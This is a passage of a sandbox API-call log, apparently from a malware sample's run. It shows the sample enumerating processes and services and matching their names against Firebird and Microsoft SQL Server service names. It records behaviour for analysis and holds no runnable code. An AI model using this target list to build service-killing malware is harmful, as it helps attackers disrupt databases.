lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0287.849] lstrlenW (lpString="PlugPlay") returned 8 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0287.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0287.849] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0287.849] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0287.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0287.849] lstrlenW (lpString="Power") returned 5 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0287.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0287.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0287.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0287.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0287.849] lstrlenW (lpString="ProfSvc") returned 7 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0287.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0287.849] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0287.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0287.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0287.849] lstrlenW (lpString="RpcEptMapper") returned 12 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0287.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0287.850] lstrlenW (lpString="RpcSs") returned 5 [0287.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0287.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0287.850] lstrlenW (lpString="SamSs") returned 5 [0287.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0287.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0287.850] lstrlenW (lpString="Schedule") returned 8 [0287.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0287.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0287.850] lstrlenW (lpString="SecurityHealthService") returned 21 [0287.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0287.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0287.850] lstrlenW (lpString="SENS") returned 4 [0287.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0287.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0287.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0287.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0287.851] lstrlenW (lpString="ShellHWDetection") returned 16 [0287.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.851] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0287.851] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0287.851] lstrlenW (lpString="Spooler") returned 7 [0287.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0287.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0287.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0287.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0287.851] lstrlenW (lpString="SSDPSRV") returned 7 [0287.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0287.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0287.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0287.851] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0287.851] lstrlenW (lpString="StateRepository") returned 15 [0287.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0287.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0287.851] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0287.851] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0287.851] lstrlenW (lpString="SysMain") returned 7 [0287.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0287.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0287.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0287.851] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0287.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0287.851] lstrlenW (lpString="SystemEventsBroker") returned 18 [0287.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0287.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0287.852] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c70f0 | out: hHeap=0x730000) returned 1 [0287.852] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d0 [0287.855] Process32FirstW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.856] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0287.856] lstrlenW (lpString="System") returned 6 [0287.856] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.857] lstrlenW (lpString="smss.exe") returned 8 [0287.857] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.857] lstrlenW (lpString="csrss.exe") returned 9 [0287.857] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.858] lstrlenW (lpString="wininit.exe") returned 11 [0287.858] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.859] lstrlenW (lpString="csrss.exe") returned 9 [0287.859] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.859] lstrlenW (lpString="winlogon.exe") returned 12 [0287.859] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.860] lstrlenW (lpString="services.exe") returned 12 [0287.860] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.861] lstrlenW (lpString="lsass.exe") returned 9 [0287.861] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.861] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.861] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.979] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.979] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.980] lstrlenW (lpString="svchost.exe") returned 11 [0287.980] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.981] lstrlenW (lpString="svchost.exe") returned 11 [0287.981] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.981] lstrlenW (lpString="dwm.exe") returned 7 [0287.981] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.982] lstrlenW (lpString="svchost.exe") returned 11 [0287.982] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.983] lstrlenW (lpString="svchost.exe") returned 11 [0287.983] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.983] lstrlenW (lpString="svchost.exe") returned 11 [0287.983] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.984] lstrlenW (lpString="svchost.exe") returned 11 [0287.984] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.985] lstrlenW (lpString="svchost.exe") returned 11 [0287.985] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.985] lstrlenW (lpString="svchost.exe") returned 11 [0287.985] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.986] lstrlenW (lpString="svchost.exe") returned 11 [0287.986] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.987] lstrlenW (lpString="svchost.exe") returned 11 [0287.987] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.987] lstrlenW (lpString="svchost.exe") returned 11 [0287.987] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.988] lstrlenW (lpString="svchost.exe") returned 11 [0287.988] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.989] lstrlenW (lpString="spoolsv.exe") returned 11 [0287.989] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.990] lstrlenW (lpString="svchost.exe") returned 11 [0287.990] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.990] lstrlenW (lpString="audiodg.exe") returned 11 [0287.990] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0287.991] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0287.991] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0287.991] lstrlenW (lpString="Memory Compression") returned 18 [0287.992] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0287.992] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0287.992] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0287.993] lstrlenW (lpString="sihost.exe") returned 10 [0287.993] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.993] lstrlenW (lpString="svchost.exe") returned 11 [0287.993] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0287.994] lstrlenW (lpString="taskhostw.exe") returned 13 [0287.994] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0287.995] lstrlenW (lpString="msoia.exe") returned 9 [0287.995] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0287.995] lstrlenW (lpString="explorer.exe") returned 12 [0287.995] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0287.996] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0287.996] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0287.997] lstrlenW (lpString="SearchUI.exe") returned 12 [0287.997] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0287.998] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0287.998] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0287.998] lstrlenW (lpString="load0.exe") returned 9 [0287.998] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.999] lstrlenW (lpString="svchost.exe") returned 11 [0287.999] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.000] lstrlenW (lpString="cmd.exe") returned 7 [0288.000] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.000] lstrlenW (lpString="conhost.exe") returned 11 [0288.000] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.001] lstrlenW (lpString="cmd.exe") returned 7 [0288.001] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.002] lstrlenW (lpString="conhost.exe") returned 11 [0288.002] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0288.002] CloseHandle (hObject=0x10d0) returned 1 [0288.003] Sleep (dwMilliseconds=0x1f4) [0288.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd6c0 [0288.660] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0288.660] GetLastError () returned 0xea [0288.661] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x8214d8 [0288.661] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8214d8, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8214d8, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0288.662] CloseServiceHandle (hSCObject=0x7bd6c0) returned 1 [0288.662] lstrlenW (lpString="Appinfo") returned 7 [0288.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0288.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0288.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0288.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0288.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0288.662] lstrlenW (lpString="AppXSvc") returned 7 [0288.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0288.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0288.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0288.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0288.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0288.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0288.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 